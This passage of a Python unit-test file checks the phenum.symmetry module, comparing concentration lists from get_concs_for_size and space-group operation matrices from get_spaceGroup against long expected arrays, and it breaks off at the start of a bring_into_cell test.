13], [12, 8, 12], [12, 9, 11], [12, 10, 10], [12, 11, 9], [12, 12, 8], [12, 13, 7], [12, 14, 6], [12, 15, 5], [12, 16, 4], [12, 17, 3], [12, 18, 2], [12, 19, 1], [12, 20, 0], [13, 0, 19], [13, 1, 18], [13, 2, 17], [13, 3, 16], [13, 4, 15], [13, 5, 14], [13, 6, 13], [13, 7, 12], [13, 8, 11], [13, 9, 10], [13, 10, 9], [13, 11, 8], [13, 12, 7], [13, 13, 6], [13, 14, 5], [13, 15, 4], [13, 16, 3], [13, 17, 2], [13, 18, 1], [13, 19, 0], [14, 0, 18], [14, 1, 17], [14, 2, 16], [14, 3, 15], [14, 4, 14], [14, 5, 13], [14, 6, 12], [14, 7, 11], [14, 8, 10], [14, 9, 9], [14, 10, 8], [14, 11, 7], [14, 12, 6], [14, 13, 5], [14, 14, 4], [14, 15, 3], [14, 16, 2], [14, 17, 1], [14, 18, 0], [15, 0, 17], [15, 1, 16], [15, 2, 15], [15, 3, 14], [15, 4, 13], [15, 5, 12], [15, 6, 11], [15, 7, 10], [15, 8, 9], [15, 9, 8], [15, 10, 7], [15, 11, 6], [15, 12, 5], [15, 13, 4], [15, 14, 3], [15, 15, 2], [15, 16, 1], [15, 17, 0], [16, 0, 16], [16, 1, 15], [16, 2, 14], [16, 3, 13], [16, 4, 12], [16, 5, 11], [16, 6, 10], [16, 7, 9], [16, 8, 8], [16, 9, 7], [16, 10, 6], [16, 11, 5], [16, 12, 4], [16, 13, 3], [16, 14, 2], [16, 15, 1], [16, 16, 0], [17, 0, 15], [17, 1, 14], [17, 2, 13], [17, 3, 12], [17, 4, 11], [17, 5, 10], [17, 6, 9], [17, 7, 8], [17, 8, 7], [17, 9, 6], [17, 10, 5], [17, 11, 4], [17, 12, 3], [17, 13, 2], [17, 14, 1], [17, 15, 0], [18, 0, 14], [18, 1, 13], [18, 2, 12], [18, 3, 11], [18, 4, 10], [18, 5, 9], [18, 6, 8], [18, 7, 7], [18, 8, 6], [18, 9, 5], [18, 10, 4], [18, 11, 3], [18, 12, 2], [18, 13, 1], [18, 14, 0], [19, 0, 13], [19, 1, 12], [19, 2, 11], [19, 3, 10], [19, 4, 9], [19, 5, 8], [19, 6, 7], [19, 7, 6], [19, 8, 5], [19, 9, 4], [19, 10, 3], [19, 11, 2], [19, 12, 1], [19, 13, 0], [20, 0, 12], [20, 1, 11], [20, 2, 10], [20, 3, 9], [20, 4, 8], [20, 5, 7], [20, 6, 6], [20, 7, 5], [20, 8, 4], [20, 9, 3], [20, 10, 2], [20, 11, 1], [20, 12, 0], [21, 0, 11], [21, 1, 10], [21, 2, 9], [21, 3, 8], [21, 4, 7], [21, 5, 6], [21, 6, 5], [21, 7, 4], [21, 8, 3], [21, 9, 2], [21, 10, 1], [21, 11, 0], [22, 0, 10], [22, 1, 9], [22, 2, 8], [22, 3, 7], [22, 4, 6], [22, 5, 5], [22, 6, 4], [22, 7, 3], [22, 8, 2], [22, 9, 1], [22, 10, 0], [23, 0, 9], [23, 1, 8], [23, 2, 7], [23, 3, 6], [23, 4, 5], [23, 5, 4], [23, 6, 3], [23, 7, 2], [23, 8, 1], [23, 9, 0], [24, 0, 8], [24, 1, 7], [24, 2, 6], [24, 3, 5], [24, 4, 4], [24, 5, 3], [24, 6, 2], [24, 7, 1], [24, 8, 0], [25, 0, 7], [25, 1, 6], [25, 2, 5], [25, 3, 4], [25, 4, 3], [25, 5, 2], [25, 6, 1], [25, 7, 0], [26, 0, 6], [26, 1, 5], [26, 2, 4], [26, 3, 3], [26, 4, 2], [26, 5, 1], [26, 6, 0], [27, 0, 5], [27, 1, 4], [27, 2, 3], [27, 3, 2], [27, 4, 1], [27, 5, 0], [28, 0, 4], [28, 1, 3], [28, 2, 2], [28, 3, 1], [28, 4, 0], [29, 0, 3], [29, 1, 2], [29, 2, 1], [29, 3, 0], [30, 0, 2], [30, 1, 1], [30, 2, 0], [31, 0, 1], [31, 1, 0], [32, 0, 0]] self.assertEqual(get_concs_for_size(size,nspecies,res_concs,nB,concs),out) def test_8(self): from phenum.symmetry import get_concs_for_size size = 18 nspecies = 3 nB = 4 res_concs = True concs = [[3, 7, 18], [1, 8, 18], [6, 7, 18]] out = [[12, 32, 28], [13, 31, 28], [13, 32, 27], [14, 30, 28], [14, 31, 27], [14, 32, 26], [15, 29, 28], [15, 30, 27], [15, 31, 26], [15, 32, 25], [16, 28, 28], [16, 29, 27], [16, 30, 26], [16, 31, 25], [16, 32, 24], [17, 27, 28], [17, 28, 27], [17, 29, 26], [17, 30, 25], [17, 31, 24], [18, 26, 28], [18, 27, 27], [18, 28, 26], [18, 29, 25], [18, 30, 24], [19, 25, 28], [19, 26, 27], [19, 27, 26], [19, 28, 25], [19, 29, 24], [20, 24, 28], [20, 25, 27], [20, 26, 26], [20, 27, 25], [20, 28, 24], [21, 23, 28], [21, 24, 27], [21, 25, 26], [21, 26, 25], [21, 27, 24], [22, 22, 28], [22, 23, 27], [22, 24, 26], [22, 25, 25], [22, 26, 24], [23, 21, 28], [23, 22, 27], [23, 23, 26], [23, 24, 25], [23, 25, 24], [24, 20, 28], [24, 21, 27], [24, 22, 26], [24, 23, 25], [24, 24, 24], [25, 19, 28], [25, 20, 27], [25, 21, 26], [25, 22, 25], [25, 23, 24], [26, 18, 28], [26, 19, 27], [26, 20, 26], [26, 21, 25], [26, 22, 24], [27, 17, 28], [27, 18, 27], [27, 19, 26], [27, 20, 25], [27, 21, 24], [28, 16, 28], [28, 17, 27], [28, 18, 26], [28, 19, 25], [28, 20, 24]] self.assertEqual(get_concs_for_size(size,nspecies,res_concs,nB,concs),out) def test_9(self): from phenum.symmetry import get_concs_for_size size = 15 nspecies = 2 nB = 3 res_concs = False concs = [] out = [[0, 45], [1, 44], [2, 43], [3, 42], [4, 41], [5, 40], [6, 39], [7, 38], [8, 37], [9, 36], [10, 35], [11, 34], [12, 33], [13, 32], [14, 31], [15, 30], [16, 29], [17, 28], [18, 27], [19, 26], [20, 25], [21, 24], [22, 23], [23, 22], [24, 21], [25, 20], [26, 19], [27, 18], [28, 17], [29, 16], [30, 15], [31, 14], [32, 13], [33, 12], [34, 11], [35, 10], [36, 9], [37, 8], [38, 7], [39, 6], [40, 5], [41, 4], [42, 3], [43, 2], [44, 1], [45, 0]] self.assertEqual(get_concs_for_size(size,nspecies,res_concs,nB,concs),out) def test_10(self): from phenum.symmetry import get_concs_for_size size = 14 nspecies = 2 nB = 4 res_concs = True concs = [[3, 3, 14], [2, 13, 14]] out = [[12, 44]] self.assertEqual(get_concs_for_size(size,nspecies,res_concs,nB,concs),out) class TestGetSpaceGroup(ut.TestCase): """Tests of the get_spaceGroup subroutine.""" def _compare_space_group(self,out1,out2): ops1 = out1[0] ops2 = out2[0] fract1 = out1[1] fract2 = out2[1] if len(ops1) == len(ops2): for i in range(len(ops1)): for j in range(3): for k in range(3): self.assertAlmostEqual(ops1[i][j][k],ops2[i][j][k],places=12) else: self.assertEqual(len(ops1),len(ops2)) if len(fract1) == len(fract2): for i in range(len(ops1)): for j in range(3): self.assertAlmostEqual(fract1[i][j],fract2[i][j],places=12) else: self.assertEqual(len(fract1),len(fract2)) def test_1(self): from phenum.symmetry import get_spaceGroup par_lat = [[1.0, 0.0, 0.0], [0.0, 1.0, 0.0], [0.0, 0.0, 1.0]] atomType = [1] bas_vecs = [[0.0, 0.0, 0.0]] eps = 1e-10 lattcoords = False out = ([[[-1.0, 0.0, 0.0], [0.0, -1.0, 0.0], [0.0, 0.0, -1.0]], [[-1.0, 0.0, 0.0], [0.0, -1.0, 0.0], [0.0, 0.0, 1.0]], [[-1.0, 0.0, 0.0], [0.0, 0.0, -1.0], [0.0, -1.0, 0.0]], [[-1.0, 0.0, 0.0], [0.0, 0.0, -1.0], [0.0, 1.0, 0.0]], [[-1.0, 0.0, 0.0], [0.0, 0.0, 1.0], [0.0, -1.0, 0.0]], [[-1.0, 0.0, 0.0], [0.0, 0.0, 1.0], [0.0, 1.0, 0.0]], [[-1.0, 0.0, 0.0], [0.0, 1.0, 0.0], [0.0, 0.0, -1.0]], [[-1.0, 0.0, 0.0], [0.0, 1.0, 0.0], [0.0, 0.0, 1.0]], [[0.0, -1.0, 0.0], [-1.0, 0.0, 0.0], [0.0, 0.0, -1.0]], [[0.0, -1.0, 0.0], [-1.0, 0.0, 0.0], [0.0, 0.0, 1.0]], [[0.0, -1.0, 0.0], [0.0, 0.0, -1.0], [-1.0, 0.0, 0.0]], [[0.0, -1.0, 0.0], [0.0, 0.0, -1.0], [1.0, 0.0, 0.0]], [[0.0, -1.0, 0.0], [0.0, 0.0, 1.0], [-1.0, 0.0, 0.0]], [[0.0, -1.0, 0.0], [0.0, 0.0, 1.0], [1.0, 0.0, 0.0]], [[0.0, -1.0, 0.0], [1.0, 0.0, 0.0], [0.0, 0.0, -1.0]], [[0.0, -1.0, 0.0], [1.0, 0.0, 0.0], [0.0, 0.0, 1.0]], [[0.0, 0.0, -1.0], [-1.0, 0.0, 0.0], [0.0, -1.0, 0.0]], [[0.0, 0.0, -1.0], [-1.0, 0.0, 0.0], [0.0, 1.0, 0.0]], [[0.0, 0.0, -1.0], [0.0, -1.0, 0.0], [-1.0, 0.0, 0.0]], [[0.0, 0.0, -1.0], [0.0, -1.0, 0.0], [1.0, 0.0, 0.0]], [[0.0, 0.0, -1.0], [0.0, 1.0, 0.0], [-1.0, 0.0, 0.0]], [[0.0, 0.0, -1.0], [0.0, 1.0, 0.0], [1.0, 0.0, 0.0]], [[0.0, 0.0, -1.0], [1.0, 0.0, 0.0], [0.0, -1.0, 0.0]], [[0.0, 0.0, -1.0], [1.0, 0.0, 0.0], [0.0, 1.0, 0.0]], [[0.0, 0.0, 1.0], [-1.0, 0.0, 0.0], [0.0, -1.0, 0.0]], [[0.0, 0.0, 1.0], [-1.0, 0.0, 0.0], [0.0, 1.0, 0.0]], [[0.0, 0.0, 1.0], [0.0, -1.0, 0.0], [-1.0, 0.0, 0.0]], [[0.0, 0.0, 1.0], [0.0, -1.0, 0.0], [1.0, 0.0, 0.0]], [[0.0, 0.0, 1.0], [0.0, 1.0, 0.0], [-1.0, 0.0, 0.0]], [[0.0, 0.0, 1.0], [0.0, 1.0, 0.0], [1.0, 0.0, 0.0]], [[0.0, 0.0, 1.0], [1.0, 0.0, 0.0], [0.0, -1.0, 0.0]], [[0.0, 0.0, 1.0], [1.0, 0.0, 0.0], [0.0, 1.0, 0.0]], [[0.0, 1.0, 0.0], [-1.0, 0.0, 0.0], [0.0, 0.0, -1.0]], [[0.0, 1.0, 0.0], [-1.0, 0.0, 0.0], [0.0, 0.0, 1.0]], [[0.0, 1.0, 0.0], [0.0, 0.0, -1.0], [-1.0, 0.0, 0.0]], [[0.0, 1.0, 0.0], [0.0, 0.0, -1.0], [1.0, 0.0, 0.0]], [[0.0, 1.0, 0.0], [0.0, 0.0, 1.0], [-1.0, 0.0, 0.0]], [[0.0, 1.0, 0.0], [0.0, 0.0, 1.0], [1.0, 0.0, 0.0]], [[0.0, 1.0, 0.0], [1.0, 0.0, 0.0], [0.0, 0.0, -1.0]], [[0.0, 1.0, 0.0], [1.0, 0.0, 0.0], [0.0, 0.0, 1.0]], [[1.0, 0.0, 0.0], [0.0, -1.0, 0.0], [0.0, 0.0, -1.0]], [[1.0, 0.0, 0.0], [0.0, -1.0, 0.0], [0.0, 0.0, 1.0]], [[1.0, 0.0, 0.0], [0.0, 0.0, -1.0], [0.0, -1.0, 0.0]], [[1.0, 0.0, 0.0], [0.0, 0.0, -1.0], [0.0, 1.0, 0.0]], [[1.0, 0.0, 0.0], [0.0, 0.0, 1.0], [0.0, -1.0, 0.0]], [[1.0, 0.0, 0.0], [0.0, 0.0, 1.0], [0.0, 1.0, 0.0]], [[1.0, 0.0, 0.0], [0.0, 1.0, 0.0], [0.0, 0.0, -1.0]], [[1.0, 0.0, 0.0], [0.0, 1.0, 0.0], [0.0, 0.0, 1.0]]], [[0.0, 0.0, 0.0], [0.0, 0.0, 0.0], [0.0, 0.0, 0.0], [0.0, 0.0, 0.0], [0.0, 0.0, 0.0], [0.0, 0.0, 0.0], [0.0, 0.0, 0.0], [0.0, 0.0, 0.0], [0.0, 0.0, 0.0], [0.0, 0.0, 0.0], [0.0, 0.0, 0.0], [0.0, 0.0, 0.0], [0.0, 0.0, 0.0], [0.0, 0.0, 0.0], [0.0, 0.0, 0.0], [0.0, 0.0, 0.0], [0.0, 0.0, 0.0], [0.0, 0.0, 0.0], [0.0, 0.0, 0.0], [0.0, 0.0, 0.0], [0.0, 0.0, 0.0], [0.0, 0.0, 0.0], [0.0, 0.0, 0.0], [0.0, 0.0, 0.0], [0.0, 0.0, 0.0], [0.0, 0.0, 0.0], [0.0, 0.0, 0.0], [0.0, 0.0, 0.0], [0.0, 0.0, 0.0], [0.0, 0.0, 0.0], [0.0, 0.0, 0.0], [0.0, 0.0, 0.0], [0.0, 0.0, 0.0], [0.0, 0.0, 0.0], [0.0, 0.0, 0.0], [0.0, 0.0, 0.0], [0.0, 0.0, 0.0], [0.0, 0.0, 0.0], [0.0, 0.0, 0.0], [0.0, 0.0, 0.0], [0.0, 0.0, 0.0], [0.0, 0.0, 0.0], [0.0, 0.0, 0.0], [0.0, 0.0, 0.0], [0.0, 0.0, 0.0], [0.0, 0.0, 0.0], [0.0, 0.0, 0.0], [0.0, 0.0, 0.0]]) self.assertEqual(get_spaceGroup(par_lat,atomType,bas_vecs,eps,lattcoords),out) def test_5(self): from phenum.symmetry import get_spaceGroup par_lat = [[1.0, 0.0, 0.0], [0.0, 1.0, 0.0], [0.0, 0.0, 1.0]] atomType = [1, 1] bas_vecs = [[0.0, 0.0, 0.0], [0.25, 0.25, 0.75]] eps = 1e-10 lattcoords = False out = ([[[-1.0, 0.0, 0.0], [0.0, -1.0, 0.0], [0.0, 0.0, -1.0]], [[-1.0, 0.0, 0.0], [0.0, 0.0, 1.0], [0.0, 1.0, 0.0]], [[0.0, -1.0, 0.0], [-1.0, 0.0, 0.0], [0.0, 0.0, -1.0]], [[0.0, -1.0, 0.0], [0.0, 0.0, 1.0], [1.0, 0.0, 0.0]], [[0.0, 0.0, -1.0], [0.0, 1.0, 0.0], [-1.0, 0.0, 0.0]], [[0.0, 0.0, -1.0], [1.0, 0.0, 0.0], [0.0, -1.0, 0.0]], [[0.0, 0.0, 1.0], [-1.0, 0.0, 0.0], [0.0, 1.0, 0.0]], [[0.0, 0.0, 1.0], [0.0, -1.0, 0.0], [1.0, 0.0, 0.0]], [[0.0, 1.0, 0.0], [0.0, 0.0, -1.0], [-1.0, 0.0, 0.0]], [[0.0, 1.0, 0.0], [1.0, 0.0, 0.0], [0.0, 0.0, 1.0]], [[1.0, 0.0, 0.0], [0.0, 0.0, -1.0], [0.0, -1.0, 0.0]], [[1.0, 0.0, 0.0], [0.0, 1.0, 0.0], [0.0, 0.0, 1.0]]], [[0.25, 0.25, 0.75], [0.25, 0.25, 0.75], [0.25, 0.25, 0.75], [0.25, 0.25, 0.75], [0.0, 0.0, 0.0], [0.0, 0.0, 0.0], [0.25, 0.25, 0.75], [0.25, 0.25, 0.75], [0.0, 0.0, 0.0], [0.0, 0.0, 0.0], [0.0, 0.0, 0.0], [0.0, 0.0, 0.0]]) self.assertEqual(get_spaceGroup(par_lat,atomType,bas_vecs,eps,lattcoords),out) def test_7(self): from phenum.symmetry import get_spaceGroup par_lat = [[1.0, 0.0, 0.0], [0.0, 1.0, 0.0], [0.0, 0.0, 1.0]] atomType = [1, 1, 1] bas_vecs = [[0.0, 0.0, 0.0], [0.25, 0.25, 0.75], [0.5, 0.5, 0.25]] eps = 1e-10 lattcoords = False out = ([[[0.0, 1.0, 0.0], [1.0, 0.0, 0.0], [0.0, 0.0, 1.0]], [[1.0, 0.0, 0.0], [0.0, 1.0, 0.0], [0.0, 0.0, 1.0]]], [[0.0, 0.0, 0.0], [0.0, 0.0, 0.0]]) self.assertEqual(get_spaceGroup(par_lat,atomType,bas_vecs,eps,lattcoords),out) def test_9(self): from phenum.symmetry import get_spaceGroup par_lat = [[0.0, 0.5, 0.5], [0.5, 0.5, 0.0], [0.5, 0.0, 0.5]] atomType = [1] bas_vecs = [[0.0, 0.0, 0.0]] eps = 1e-10 lattcoords = False out = ([[[1.0, 0.0, 0.0], [0.0, -1.0, 0.0], [0.0, 0.0, -1.0]], [[1.0, 0.0, 0.0], [0.0, 0.0, -1.0], [0.0, -1.0, 0.0]], [[-1.0, 0.0, 0.0], [0.0, -1.0, 0.0], [0.0, 0.0, -1.0]], [[-1.0, 0.0, 0.0], [0.0, 0.0, -1.0], [0.0, -1.0, 0.0]], [[0.0, 0.0, -1.0], [0.0, -1.0, 0.0], [1.0, 0.0, 0.0]], [[0.0, 0.0, -1.0], [1.0, 0.0, 0.0], [0.0, -1.0, 0.0]], [[0.0, 0.0, 1.0], [0.0, -1.0, 0.0], [1.0, 0.0, 0.0]], [[0.0, 0.0, 1.0], [1.0, 0.0, 0.0], [0.0, -1.0, 0.0]], [[0.0, -1.0, 0.0], [0.0, 0.0, -1.0], [1.0, 0.0, 0.0]], [[0.0, -1.0, 0.0], [1.0, 0.0, 0.0], [0.0, 0.0, -1.0]], [[0.0, 1.0, 0.0], [0.0, 0.0, -1.0], [1.0, 0.0, 0.0]], [[0.0, 1.0, 0.0], [1.0, 0.0, 0.0], [0.0, 0.0, -1.0]], [[0.0, 0.0, -1.0], [0.0, -1.0, 0.0], [-1.0, 0.0, 0.0]], [[0.0, 0.0, 1.0], [0.0, -1.0, 0.0], [-1.0, 0.0, 0.0]], [[0.0, 0.0, -1.0], [-1.0, 0.0, 0.0], [0.0, -1.0, 0.0]], [[0.0, 0.0, 1.0], [-1.0, 0.0, 0.0], [0.0, -1.0, 0.0]], [[1.0, 0.0, 0.0], [0.0, -1.0, 0.0], [0.0, 0.0, 1.0]], [[-1.0, 0.0, 0.0], [0.0, -1.0, 0.0], [0.0, 0.0, 1.0]], [[1.0, 0.0, 0.0], [0.0, 0.0, 1.0], [0.0, -1.0, 0.0]], [[-1.0, 0.0, 0.0], [0.0, 0.0, 1.0], [0.0, -1.0, 0.0]], [[0.0, -1.0, 0.0], [0.0, 0.0, -1.0], [-1.0, 0.0, 0.0]], [[0.0, -1.0, 0.0], [-1.0, 0.0, 0.0], [0.0, 0.0, -1.0]], [[0.0, 1.0, 0.0], [0.0, 0.0, -1.0], [-1.0, 0.0, 0.0]], [[0.0, 1.0, 0.0], [-1.0, 0.0, 0.0], [0.0, 0.0, -1.0]], [[0.0, -1.0, 0.0], [1.0, 0.0, 0.0], [0.0, 0.0, 1.0]], [[0.0, -1.0, 0.0], [0.0, 0.0, 1.0], [1.0, 0.0, 0.0]], [[0.0, 1.0, 0.0], [1.0, 0.0, 0.0], [0.0, 0.0, 1.0]], [[0.0, 1.0, 0.0], [0.0, 0.0, 1.0], [1.0, 0.0, 0.0]], [[1.0, 0.0, 0.0], [0.0, 0.0, -1.0], [0.0, 1.0, 0.0]], [[-1.0, 0.0, 0.0], [0.0, 0.0, -1.0], [0.0, 1.0, 0.0]], [[1.0, 0.0, 0.0], [0.0, 1.0, 0.0], [0.0, 0.0, -1.0]], [[-1.0, 0.0, 0.0], [0.0, 1.0, 0.0], [0.0, 0.0, -1.0]], [[0.0, 0.0, -1.0], [1.0, 0.0, 0.0], [0.0, 1.0, 0.0]], [[0.0, 0.0, 1.0], [1.0, 0.0, 0.0], [0.0, 1.0, 0.0]], [[0.0, 0.0, -1.0], [0.0, 1.0, 0.0], [1.0, 0.0, 0.0]], [[0.0, 0.0, 1.0], [0.0, 1.0, 0.0], [1.0, 0.0, 0.0]], [[0.0, -1.0, 0.0], [-1.0, 0.0, 0.0], [0.0, 0.0, 1.0]], [[0.0, -1.0, 0.0], [0.0, 0.0, 1.0], [-1.0, 0.0, 0.0]], [[0.0, 1.0, 0.0], [-1.0, 0.0, 0.0], [0.0, 0.0, 1.0]], [[0.0, 1.0, 0.0], [0.0, 0.0, 1.0], [-1.0, 0.0, 0.0]], [[0.0, 0.0, -1.0], [-1.0, 0.0, 0.0], [0.0, 1.0, 0.0]], [[0.0, 0.0, -1.0], [0.0, 1.0, 0.0], [-1.0, 0.0, 0.0]], [[0.0, 0.0, 1.0], [-1.0, 0.0, 0.0], [0.0, 1.0, 0.0]], [[0.0, 0.0, 1.0], [0.0, 1.0, 0.0], [-1.0, 0.0, 0.0]], [[1.0, 0.0, 0.0], [0.0, 0.0, 1.0], [0.0, 1.0, 0.0]], [[1.0, 0.0, 0.0], [0.0, 1.0, 0.0], [0.0, 0.0, 1.0]], [[-1.0, 0.0, 0.0], [0.0, 0.0, 1.0], [0.0, 1.0, 0.0]], [[-1.0, 0.0, 0.0], [0.0, 1.0, 0.0], [0.0, 0.0, 1.0]]], [[0.0, 0.0, 0.0], [0.0, 0.0, 0.0], [0.0, 0.0, 0.0], [0.0, 0.0, 0.0], [0.0, 0.0, 0.0], [0.0, 0.0, 0.0], [0.0, 0.0, 0.0], [0.0, 0.0, 0.0], [0.0, 0.0, 0.0], [0.0, 0.0, 0.0], [0.0, 0.0, 0.0], [0.0, 0.0, 0.0], [0.0, 0.0, 0.0], [0.0, 0.0, 0.0], [0.0, 0.0, 0.0], [0.0, 0.0, 0.0], [0.0, 0.0, 0.0], [0.0, 0.0, 0.0], [0.0, 0.0, 0.0], [0.0, 0.0, 0.0], [0.0, 0.0, 0.0], [0.0, 0.0, 0.0], [0.0, 0.0, 0.0], [0.0, 0.0, 0.0], [0.0, 0.0, 0.0], [0.0, 0.0, 0.0], [0.0, 0.0, 0.0], [0.0, 0.0, 0.0], [0.0, 0.0, 0.0], [0.0, 0.0, 0.0], [0.0, 0.0, 0.0], [0.0, 0.0, 0.0], [0.0, 0.0, 0.0], [0.0, 0.0, 0.0], [0.0, 0.0, 0.0], [0.0, 0.0, 0.0], [0.0, 0.0, 0.0], [0.0, 0.0, 0.0], [0.0, 0.0, 0.0], [0.0, 0.0, 0.0], [0.0, 0.0, 0.0], [0.0, 0.0, 0.0], [0.0, 0.0, 0.0], [0.0, 0.0, 0.0], [0.0, 0.0, 0.0], [0.0, 0.0, 0.0], [0.0, 0.0, 0.0], [0.0, 0.0, 0.0]]) self.assertEqual(get_spaceGroup(par_lat,atomType,bas_vecs,eps,lattcoords),out) def test_getsg11(self): from phenum.symmetry import get_spaceGroup case = 1 par_lat = list(map(list,zip(*_read_float_2D(gpath+"get_spaceGroup_aVecs.in."+str(case))))) atomType = _read_int_1D(gpath+"get_spaceGroup_atomType.in."+str(case)) bas_vecs = list(map(list,zip(*_read_float_2D(gpath+"get_spaceGroup_input_pos.in."+str(case))))) eps = _read_float(gpath+"get_spaceGroup_eps.in."+str(case)) lattcoords = _read_logical(gpath+"get_spaceGroup_lattcoords.in."+str(case)) out = _read_spaceGroup(case) ops, fract = get_spaceGroup(par_lat,atomType,bas_vecs,eps,lattcoords) self._compare_space_group(out,[ops,fract]) def test_getsg12(self): from phenum.symmetry import get_spaceGroup case = 2 par_lat = list(map(list,zip(*_read_float_2D(gpath+"get_spaceGroup_aVecs.in."+str(case))))) atomType = _read_int_1D(gpath+"get_spaceGroup_atomType.in."+str(case)) bas_vecs = list(map(list,zip(*_read_float_2D(gpath+"get_spaceGroup_input_pos.in."+str(case))))) eps = _read_float(gpath+"get_spaceGroup_eps.in."+str(case)) lattcoords = _read_logical(gpath+"get_spaceGroup_lattcoords.in."+str(case)) out = _read_spaceGroup(case) ops, fract = get_spaceGroup(par_lat,atomType,bas_vecs,eps,lattcoords) self._compare_space_group(out,[ops,fract]) def test_getsg13(self): from phenum.symmetry import get_spaceGroup case = 3 par_lat = list(map(list,zip(*_read_float_2D(gpath+"get_spaceGroup_aVecs.in."+str(case))))) atomType = _read_int_1D(gpath+"get_spaceGroup_atomType.in."+str(case)) bas_vecs = list(map(list,zip(*_read_float_2D(gpath+"get_spaceGroup_input_pos.in."+str(case))))) eps = _read_float(gpath+"get_spaceGroup_eps.in."+str(case)) lattcoords = _read_logical(gpath+"get_spaceGroup_lattcoords.in."+str(case)) out = _read_spaceGroup(case) ops, fract = get_spaceGroup(par_lat,atomType,bas_vecs,eps,lattcoords) self._compare_space_group(out,[ops,fract]) def test_getsg14(self): from phenum.symmetry import get_spaceGroup case = 4 par_lat = list(map(list,zip(*_read_float_2D(gpath+"get_spaceGroup_aVecs.in."+str(case))))) atomType = _read_int_1D(gpath+"get_spaceGroup_atomType.in."+str(case)) bas_vecs = list(map(list,zip(*_read_float_2D(gpath+"get_spaceGroup_input_pos.in."+str(case))))) eps = _read_float(gpath+"get_spaceGroup_eps.in."+str(case)) lattcoords = _read_logical(gpath+"get_spaceGroup_lattcoords.in."+str(case)) out = _read_spaceGroup(case) ops, fract = get_spaceGroup(par_lat,atomType,bas_vecs,eps,lattcoords) self._compare_space_group(out,[ops,fract]) def test_getsg15(self): from phenum.symmetry import get_spaceGroup case = 5 par_lat = list(map(list,zip(*_read_float_2D(gpath+"get_spaceGroup_aVecs.in."+str(case))))) atomType = _read_int_1D(gpath+"get_spaceGroup_atomType.in."+str(case)) bas_vecs = list(map(list,zip(*_read_float_2D(gpath+"get_spaceGroup_input_pos.in."+str(case))))) eps = _read_float(gpath+"get_spaceGroup_eps.in."+str(case)) lattcoords = _read_logical(gpath+"get_spaceGroup_lattcoords.in."+str(case)) out = _read_spaceGroup(case) ops, fract = get_spaceGroup(par_lat,atomType,bas_vecs,eps,lattcoords) self._compare_space_group(out,[ops,fract]) def test_getsg16(self): from phenum.symmetry import get_spaceGroup case = 6 par_lat = list(map(list,zip(*_read_float_2D(gpath+"get_spaceGroup_aVecs.in."+str(case))))) atomType = _read_int_1D(gpath+"get_spaceGroup_atomType.in."+str(case)) bas_vecs = list(map(list,zip(*_read_float_2D(gpath+"get_spaceGroup_input_pos.in."+str(case))))) eps = _read_float(gpath+"get_spaceGroup_eps.in."+str(case)) lattcoords = _read_logical(gpath+"get_spaceGroup_lattcoords.in."+str(case)) out = _read_spaceGroup(case) ops, fract = get_spaceGroup(par_lat,atomType,bas_vecs,eps,lattcoords) self._compare_space_group(out,[ops,fract]) def test_getsg17(self): from phenum.symmetry import get_spaceGroup case = 7 par_lat = list(map(list,zip(*_read_float_2D(gpath+"get_spaceGroup_aVecs.in."+str(case))))) atomType = _read_int_1D(gpath+"get_spaceGroup_atomType.in."+str(case)) bas_vecs = list(map(list,zip(*_read_float_2D(gpath+"get_spaceGroup_input_pos.in."+str(case))))) eps = _read_float(gpath+"get_spaceGroup_eps.in."+str(case)) lattcoords = _read_logical(gpath+"get_spaceGroup_lattcoords.in."+str(case)) out = _read_spaceGroup(case) ops, fract = get_spaceGroup(par_lat,atomType,bas_vecs,eps=eps,lattcoords=lattcoords) self._compare_space_group(out,[ops,fract]) def test_getsg18(self): from phenum.symmetry import get_spaceGroup case = 8 par_lat = list(map(list,zip(*_read_float_2D(gpath+"get_spaceGroup_aVecs.in."+str(case))))) atomType = _read_int_1D(gpath+"get_spaceGroup_atomType.in."+str(case)) bas_vecs = list(map(list,zip(*_read_float_2D(gpath+"get_spaceGroup_input_pos.in."+str(case))))) eps = _read_float(gpath+"get_spaceGroup_eps.in."+str(case)) lattcoords = _read_logical(gpath+"get_spaceGroup_lattcoords.in."+str(case)) out = _read_spaceGroup(case) ops, fract = get_spaceGroup(par_lat,atomType,bas_vecs,eps,lattcoords) self._compare_space_group(out,[ops,fract]) def test_getsg19(self): from phenum.symmetry import get_spaceGroup case = 9 par_lat = list(map(list,zip(*_read_float_2D(gpath+"get_spaceGroup_aVecs.in."+str(case))))) atomType = _read_int_1D(gpath+"get_spaceGroup_atomType.in."+str(case)) bas_vecs = list(map(list,zip(*_read_float_2D(gpath+"get_spaceGroup_input_pos.in."+str(case))))) eps = _read_float(gpath+"get_spaceGroup_eps.in."+str(case)) lattcoords = _read_logical(gpath+"get_spaceGroup_lattcoords.in."+str(case)) out = _read_spaceGroup(case) ops, fract = get_spaceGroup(par_lat,atomType,bas_vecs,eps,lattcoords) self._compare_space_group(out,[ops,fract]) def test_getsg20(self): from phenum.symmetry import get_spaceGroup from numpy.testing import assert_allclose from numpy import array case = 10 par_lat = list(map(list,zip(*_read_float_2D(gpath+"get_spaceGroup_aVecs.in."+str(case))))) atomType = _read_int_1D(gpath+"get_spaceGroup_atomType.in."+str(case)) bas_vecs = list(map(list,zip(*_read_float_2D(gpath+"get_spaceGroup_input_pos.in."+str(case))))) eps = _read_float(gpath+"get_spaceGroup_eps.in."+str(case)) lattcoords = _read_logical(gpath+"get_spaceGroup_lattcoords.in."+str(case)) out = _read_spaceGroup(case) ops, fract = get_spaceGroup(par_lat,atomType,bas_vecs,eps,lattcoords) self._compare_space_group(out,[ops,fract]) def test_getsg21(self): from phenum.symmetry import get_spaceGroup, _get_transformations par_lat = [[1.0, 0.0, 0.0], [0.0, 1.0, 0.0], [0.0, 0.0, 1.0]] (prim_to_cart, cart_to_prim) = _get_transformations(par_lat) atomType = [1, 1, 1] bas_vecs = [[0.0, 0.0, 0.0], [0.25, 0.25, 0.75], [0.5, 0.5, 0.25]] bas_vecs = [np.matmul(cart_to_prim, i).tolist() for i in bas_vecs] eps = 1e-10 lattcoords = True out = ([[[0.0, 1.0, 0.0], [1.0, 0.0, 0.0], [0.0, 0.0, 1.0]], [[1.0, 0.0, 0.0], [0.0, 1.0, 0.0], [0.0, 0.0, 1.0]]], [[0.0, 0.0, 0.0], [0.0, 0.0, 0.0]]) self.assertEqual(get_spaceGroup(par_lat,atomType,bas_vecs,eps,lattcoords),out) class TestBringIntoCell(ut.TestCase): """Tests of the bring_into_cell subroutine.""" def test_1(self): from phenum.symmetry import bring_into_cell bas_vecs = [0.0, 0.0, 0.0] 